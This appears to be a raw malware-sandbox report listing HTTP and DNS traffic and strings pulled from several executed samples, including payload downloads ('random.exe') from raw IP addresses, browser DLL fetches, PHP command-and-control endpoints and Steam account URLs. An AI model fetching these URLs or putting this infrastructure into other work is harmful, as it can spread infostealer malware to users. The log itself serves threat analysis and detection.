Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /iYUeIWtRvzKHTkiRYPPG1732630737?argument=cRSANoghLkYk4tDK1732726804 HTTP/1.1Host: home.twentykm20sr.topAccept: /
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: heckout.steampowered.com/ https://www.youtube.com https:S equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.twentykm20sr.top
Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic	DNS traffic detected: DNS query: frogs-severz.sbs
Source: global traffic	DNS traffic detected: DNS query: occupy-blushi.sbs
Source: global traffic	DNS traffic detected: DNS query: blade-govern.sbs
Source: global traffic	DNS traffic detected: DNS query: story-tense-faz.sbs
Source: global traffic	DNS traffic detected: DNS query: leg-sate-boat.sbs
Source: global traffic	DNS traffic detected: DNS query: disobey-curly.sbs
Source: global traffic	DNS traffic detected: DNS query: motion-treesz.sbs
Source: global traffic	DNS traffic detected: DNS query: powerful-avoids.sbs
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: marshal-zhukov.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: dd3583c805.exe, 00000023.00000003.2306326130.00000000073DF000.00000004.00001000.00020000.00000000.sdmp, dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://.css
Source: dd3583c805.exe, 00000023.00000003.2306326130.00000000073DF000.00000004.00001000.00020000.00000000.sdmp, dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://.jpg
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: skotes.exe, 00000020.00000002.2565129579.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: file.exe, 00000001.00000002.1877420481.00000000013BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: skotes.exe, 00000020.00000002.2565129579.00000000011FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000020.00000002.2565129579.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 00000020.00000002.2565129579.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe&
Source: skotes.exe, 00000020.00000002.2565129579.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe0
Source: skotes.exe, 00000020.00000002.2565129579.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe613
Source: skotes.exe, 00000020.00000002.2565129579.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exec61395d7f
Source: file.exe, 00000001.00000002.1874484736.00000000002D5000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000002.1877420481.00000000013BE000.00000004.00000020.00020000.00000000.sdmp, ef7381e244.exe, 00000025.00000002.2528677354.0000000000E8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: ef7381e244.exe, 00000025.00000002.2528677354.0000000000EEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000001.00000002.1877420481.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000001.00000002.1877420481.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllx
Source: file.exe, 00000001.00000002.1877420481.0000000001419000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1877420481.00000000013BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000001.00000002.1877420481.00000000013BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll)
Source: file.exe, 00000001.00000002.1877420481.00000000013BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllY
Source: file.exe, 00000001.00000002.1877420481.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000001.00000002.1877420481.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000001.00000002.1877420481.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000001.00000002.1877420481.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000001.00000002.1877420481.000000000146F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: ef7381e244.exe, 00000025.00000002.2528677354.0000000000EEF000.00000004.00000020.00020000.00000000.sdmp, ef7381e244.exe, 00000025.00000002.2528677354.0000000000F10000.00000004.00000020.00020000.00000000.sdmp, ef7381e244.exe, 00000025.00000002.2528677354.0000000000F05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000001.00000002.1918898498.000000002390F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php&;
Source: ef7381e244.exe, 00000025.00000002.2528677354.0000000000EEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/i
Source: file.exe, 00000001.00000002.1877420481.0000000001432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php6
Source: ef7381e244.exe, 00000025.00000002.2528677354.0000000000F05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpA
Source: ef7381e244.exe, 00000025.00000002.2528677354.0000000000F05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpAB
Source: file.exe, 00000001.00000002.1877420481.0000000001432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpF
Source: file.exe, 00000001.00000002.1918898498.000000002390F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpSK-PCComSpec=C:
Source: file.exe, 00000001.00000002.1877420481.0000000001404000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpU
Source: file.exe, 00000001.00000002.1877420481.0000000001404000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpY
Source: ef7381e244.exe, 00000025.00000002.2528677354.0000000000F05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpYB
Source: file.exe, 00000001.00000002.1877420481.0000000001404000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpi
Source: file.exe, 00000001.00000002.1874484736.00000000002D5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000001.00000002.1877420481.00000000013BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206RU
Source: file.exe, 00000001.00000002.1874484736.00000000002D5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206rontdesk
Source: skotes.exe, 00000020.00000002.2565129579.0000000001277000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.2565129579.000000000124E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000020.00000002.2565129579.0000000001277000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.2565129579.000000000124E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.2565129579.0000000001239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000020.00000002.2565129579.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php655001
Source: skotes.exe, 00000020.00000002.2565129579.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpKw
Source: skotes.exe, 00000020.00000002.2565129579.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpN
Source: skotes.exe, 00000020.00000002.2565129579.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpO
Source: skotes.exe, 00000020.00000002.2565129579.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpeC
Source: skotes.exe, 00000020.00000002.2565129579.000000000124E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpi6
Source: skotes.exe, 00000020.00000002.2565129579.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#
Source: skotes.exe, 00000020.00000002.2565129579.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/onal
Source: skotes.exe, 00000020.00000002.2565129579.000000000124E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 00000020.00000002.2565129579.000000000124E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeH
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://home.twentykm20sr.top/iYUeIWtRvzKHTkiRYPP737
Source: dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://home.twentykm20sr.top/iYUeIWtRvzKHTkiRYPPG1732630737
Source: dd3583c805.exe, 00000023.00000002.2571643369.00000000016FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.twentykm20sr.top/iYUeIWtRvzKHTkiRYPPG1732630737?argument=cRSANoghLkYk4tDK1732726804
Source: dd3583c805.exe, 00000023.00000002.2571643369.0000000001747000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.twentykm20sr.top/iYUeIWtRvzKHTkiRYPPG1732630737?argument=cRSANoghLkYk4tDK1732726804se
Source: dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://home.twentykm20sr.top/iYUeIWtRvzKHTkiRYPPG1732630737http://home.twentykm20sr.top/iYUeIWtRvzKH
Source: dd3583c805.exe, 00000023.00000003.2306326130.00000000073DF000.00000004.00001000.00020000.00000000.sdmp, dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cook
Source: ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452693034.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: chromecache_319.12.dr	String found in binary or memory: http://www.broofa.com
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000001.00000002.1924619080.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000001.00000002.1923733786.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1910889673.000000001D8D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
